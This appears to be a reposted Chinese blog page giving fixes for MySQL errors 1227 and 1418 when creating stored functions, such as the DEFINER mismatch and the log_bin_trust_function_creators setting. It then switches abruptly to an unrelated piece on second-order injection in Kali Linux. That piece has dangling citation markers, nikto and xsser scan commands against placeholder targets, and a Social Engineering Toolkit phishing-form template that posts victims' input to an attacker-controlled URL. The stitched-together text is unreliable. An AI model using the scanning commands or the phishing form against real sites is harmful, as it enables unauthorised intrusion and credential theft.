MYSQL 创建函数出错的解决方案

本文转自IT摆渡网欢迎转载,请标明出处
摆渡网

更多mysq文章请阅读

mysql问题错误修改

  在使用MySQL数据库时,有时会遇到MySQL函数不能创建的情况。下面就教您一个解决MySQL函数不能创建问题的方法,供您借鉴参考。

  案例一:

  目前在项目中,执行创建mysql的函数出错,

  mysql 创建函数出错信息如下:

  Error Code: 1227. Access denied; you need (at least one of) the SUPER privilege(s) for this operation

  首先检查创建函数的功能是否开启,检查是否开启创建功能的SQL如下:

  -- 查看是否开启创建函数的功能

  show variables like '%func%';

  -- 开启创建函数的功能

  set global log_bin_trust_function_creators = 1;

  执行完SQL之后发现已经开启了,随检查自己的SQL是否写错(因为SQL是别人给的,在别人环境没问题,在自己的环境就有可能)。

  突然发现了确实是SQL出现问题,由于他创建的SQL有指定用户,所以导致出现问题,以下是他的SQL:

  DROP FUNCTION IF EXISTS nextval;

  DELIMITER ;;

  CREATE DEFINER=devop@% FUNCTION nextval(seq_name VARCHAR(50)) RETURNS varchar(20) CHARSET utf8

  BEGIN

  DECLARE seq_max BIGINT(20);

  UPDATE sequenceconftable SET max = max + NEXT WHERE NAME = seq_name;

  SELECT max INTO seq_max FROM sequenceconftable WHERE NAME = seq_name ;

  RETURN seq_max;

  END

  ;;

  DELIMITER ;

  由于CREATE_FUNCTION规范,可以发现就是DEFINER这个参数是可以指定数据库用户的,但是自己的库却不是这个用户,所以导致问题。

  目前问题已经解决。

  -EOF-

  案例二:

  在MySQL创建用户自定义函数时,报以下错误:

  ERROR 1418 (HY000): This function has none of DETERMINISTIC, NO SQL, or READS SQL DATA in its declaration and binary logging is enabled (you might want to use the less safe log_bin_trust_function_creators variable)

  这是因为有一个安全参数没有开启,log_bin_trust_function_creators 默认为0,是不允许function的同步的,开启这个参数,就可以创建成功了。

  mysql> show variables like '%fun%';

  +---------------------------------+-------+

  | Variable_name | Value |

  +---------------------------------+-------+

  | log_bin_trust_function_creators | ON |

  +---------------------------------+-------+

  1 row in set (0.00 sec)

  mysql> set global log_bin_trust_function_creators=1;

  Query OK, 0 rows affected (0.00 sec)

  mysql> show variables like '%fun%';

  +---------------------------------+-------+

  | Variable_name | Value |

  +---------------------------------+-------+

  | log_bin_trust_function_creators | ON |

  +---------------------------------+-------+

  1 row in set (0.00 sec)

  如果是在有master上开启了该参数,记得在slave端也要开启这个参数(salve需要stop后再重新start),否则在master上创建函数会导致replaction中断。

  案例三:

  Error Code : 1418

  This function has none of DETERMINISTIC, NO SQL, or READS SQL DATA in its declaration and binary logging is enabled (you might want to use the less safe log_bin_trust_function_creators variable)

  (0 ms taken)

  分析:

  根据系统提示,导致该错误的原因可能是一个安全设置方面的配置,查手册log_bin_trust_function_creators参数缺省0,是不允许function的同步的,一般我们在配置repliaction的时候,都忘记关注这个参数,这样在master更新funtion后,slave就会报告错误,然后slave stoped。

  处理过程:

  登陆mysql数据库

  > set global log_bin_trust_function_creators = 1;

  > start slave;

  跟踪mysql的启动日志,slave正常运行,问题解决。

### Kali Linux中与二次注入相关的技术操作 #### 什么是二次注入? 二次注入是一种高级攻击形式,通常发生在应用程序未能正确处理用户输入的情况下。在这种情况下,恶意数据会被存储在数据库或其他持久化介质中,并在稍后的某个时间点被重新解析或执行[^1]。 #### 实现二次注入的技术细节 为了利用二次注入漏洞,渗透测试人员需要遵循以下原则技术: 1. **识别潜在的二次注入场景** - 应用程序可能将用户的输入存储到数据库中,并在未来将其作为动态内容呈现给其他用户。 - 数据库中的字段可能会被再次解析为SQL语句的一部分,或者通过模板引擎渲染成HTML页面[^3]。 2. **构造有效的载荷** - 使用工具如 `sqlmap` 或手动编写 SQL 注入载荷来验证是否存在未经过滤的数据存储行为。 - 对于 XSS 类型的二次注入,可以尝试嵌套 JavaScript 脚本标签 `<script>` 并观察其是否被执行。 3. **自动化工具的应用** - 利用 Kali Linux 提供的安全评估工具集,例如 Nikto Xsser 来辅助发现确认这些复杂的注入路径。 ```bash nikto -host http://example.com -output /path/to/output.txt ``` 上述命令用于扫描目标网站并记录结果至指定文件中以便后续分析[^2]。 同样地,在寻找跨站脚本(XSS)可能性方面,可以通过如下方式调用 Xsser 工具: ```bash xsser -u "http://targetsite/page" -g "param=value" --cookie="sessionid=abcde" ``` 4. **实际案例演示——基于 SET 的社会工程学攻击扩展** 当使用 Social Engineering Toolkit (SET) 构建钓鱼网页时,默认生成的 HTML 表单允许自定义提交地址以及参数名称。如果开发者忽略了对 POST 请求数据的有效校验,则可能导致进一步的危害扩散[^4]。 ```html <form action="{{ attacker_controlled_url }}" method="post"> <!-- 用户填写的信息 --> </form> ``` 上述代码片段展示了如何修改默认配置从而引导受害者访问受控资源,进而触发额外逻辑链路下的安全风险暴露。 --- #### 注意事项 尽管掌握此类技能对于合法授权范围内的红队行动至关重要,但在未经授权前提下实施任何类型的入侵活动均属违法行为,请务必严格遵守法律法规!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值